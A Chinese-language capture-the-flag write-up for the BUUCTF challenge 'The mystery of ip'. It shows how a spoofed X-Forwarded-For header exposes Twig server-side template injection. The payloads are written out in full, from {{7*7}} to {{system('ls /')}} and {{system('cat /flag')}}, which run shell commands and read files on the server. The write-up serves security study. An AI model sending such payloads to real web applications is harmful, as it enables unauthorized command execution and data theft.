BUUCTF [BJDCTF2020] The mystery of ip

BUUCTF [BJDCTF2020] The mystery of ip

考点:

  1. X-Forwarded-For注入
  2. PHP可能存在Twig模版注入漏洞

启动环境:

查看flag页面:
BUUCTF [BJDCTF2020] The mystery of ip_第1张图片

查看hint页面:
BUUCTF [BJDCTF2020] The mystery of ip_第2张图片
结合题目名,IP的秘密,flag页面也出现了IP,猜测为X-Forwarded-For处有问题
使用BurpSuite抓取数据包:
BUUCTF [BJDCTF2020] The mystery of ip_第3张图片
添加HTTP请求头:

X-Forwarded-For: 1

在这里插入图片描述
发送数据包,得到回显页面:
BUUCTF [BJDCTF2020] The mystery of ip_第4张图片
被成功执行,说明XFF可控,测试了半天,因为是php页面,所以没想到模版注入,通过查阅资料
Flask可能存在Jinjia2模版注入漏洞
PHP可能存在Twig模版注入漏洞

添加模版算式,检测其是否可被执行:

X-Forwarded-For: {{7*7}}

BUUCTF [BJDCTF2020] The mystery of ip_第5张图片
模版中算式被成功执行,尝试是否能执行命令:

X-Forwarded-For: {{system('ls')}}

BUUCTF [BJDCTF2020] The mystery of ip_第6张图片
命令可以被成功执行,查找flag的位置:

X-Forwarded-For: {{system('ls /')}}

BUUCTF [BJDCTF2020] The mystery of ip_第7张图片
/目录下查找到flag,读取flag,构造payload:

X-Forwarded-For: {{system('cat /flag')}}

发送数据包,得到flag:
BUUCTF [BJDCTF2020] The mystery of ip_第8张图片

你可能感兴趣的:(BUUCTF,WEB,Writeup,BUUCTF,BJDCTF2020,The,mystery,ip,writeup,CTF)